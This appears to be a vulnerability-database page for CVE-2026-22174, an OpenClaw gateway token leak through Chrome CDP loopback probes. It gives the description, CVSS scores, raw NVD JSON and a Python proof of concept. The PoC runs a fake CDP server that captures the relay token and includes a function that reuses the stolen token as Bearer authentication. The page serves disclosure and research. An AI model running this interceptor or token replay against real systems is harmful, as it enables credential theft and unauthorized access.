Security Vulnerability Report
中文
CVE-2026-22174 CVSS 6.8 MEDIUM

CVE-2026-22174

Published: 2026-03-18 02:16:22
Last Modified: 2026-03-25 15:16:37

Description

OpenClaw versions prior to 2026.2.22 inject the x-OpenClaw-relay-token header into Chrome CDP probe traffic on loopback interfaces, allowing local processes to capture the Gateway authentication token. An attacker controlling a loopback port can intercept CDP reachability probes to the /json/version endpoint and reuse the leaked token as Gateway bearer authentication.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:* - VULNERABLE
OpenClaw < 2026.2.22

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-22174 PoC - OpenClaw Gateway Token Leak via CDP Probe This PoC demonstrates how an attacker can intercept the OpenClaw relay token by setting up a fake CDP server on the loopback interface. """ import http.server import socketserver import json import re import sys class CDPTokenInterceptor(http.server.BaseHTTPRequestHandler): """Handler to intercept CDP probe requests and extract tokens""" def do_GET(self): if self.path == '/json/version': # Log the captured token token = self.headers.get('x-OpenClaw-relay-token', 'NOT_FOUND') print(f"[+] Captured OpenClaw Token: {token}") # Extract headers for analysis print(f"[+] All relevant headers:") for header, value in self.headers.items(): if 'openclaw' in header.lower() or 'relay' in header.lower(): print(f" {header}: {value}") # Send fake CDP response self.send_response(200) self.send_header('Content-Type', 'application/json') self.end_headers() response = { "Browser": "Chrome/120.0.0.0", "Protocol-Version": "1.3", "WebKit-Version": "537.36" } self.wfile.write(json.dumps(response).encode()) else: self.send_response(404) self.end_headers() def log_message(self, format, *args): # Suppress default logging pass def start_fake_cdp_server(port=9222): """Start a fake CDP server to intercept token""" with socketserver.TCPServer(('127.0.0.1', port), CDPTokenInterceptor) as httpd: print(f"[*] Fake CDP server listening on 127.0.0.1:{port}") print(f"[*] Waiting for OpenClaw CDP probes...") try: httpd.serve_forever() except KeyboardInterrupt: print("\n[*] Shutting down...") sys.exit(0) def use_stolen_token(token, target_gateway): """ Use the stolen token to authenticate with OpenClaw Gateway """ import urllib.request print(f"[*] Attempting to use stolen token on {target_gateway}") req = urllib.request.Request( f"{target_gateway}/api/v1/gateway/status", headers={'Authorization': f'Bearer {token}'} ) try: response = urllib.request.urlopen(req, timeout=10) print(f"[+] Successfully authenticated! Response:") print(response.read().decode()) except urllib.error.HTTPError as e: print(f"[-] Authentication failed: {e.code} {e.reason}") except Exception as e: print(f"[-] Error: {e}") if __name__ == '__main__': print("=" * 60) print("CVE-2026-22174 - OpenClaw Gateway Token Leak PoC") print("=" * 60) # Start intercepting start_fake_cdp_server(9222)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22174", "sourceIdentifier": "[email protected]", "published": "2026-03-18T02:16:21.517", "lastModified": "2026-03-25T15:16:36.500", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw versions prior to 2026.2.22 inject the x-OpenClaw-relay-token header into Chrome CDP probe traffic on loopback interfaces, allowing local processes to capture the Gateway authentication token. An attacker controlling a loopback port can intercept CDP reachability probes to the /json/version endpoint and reuse the leaked token as Gateway bearer authentication."}, {"lang": "es", "value": "Las versiones de OpenClaw anteriores a 2026.2.22 inyectan el encabezado x-OpenClaw-relay-token en el tráfico de sondeo de Chrome CDP en interfaces de bucle invertido, lo que permite a los procesos locales capturar el token de autenticación de Gateway. Un atacante que controla un puerto de bucle invertido puede interceptar sondeos de accesibilidad CDP al endpoint /json/version y reutilizar el token filtrado como autenticación de portador de Gateway."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 4.2}, {"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.2.22", "matchCriteriaId": "6EA3E555-7328-4665-9FBC-BF4357239EDF"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/afa22acc4a09fdf32be8a167ae216bee85c30dad", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-v3j7-34xh-6g3w", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-gateway-token-disclosure-via-chrome-cdp-probe", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}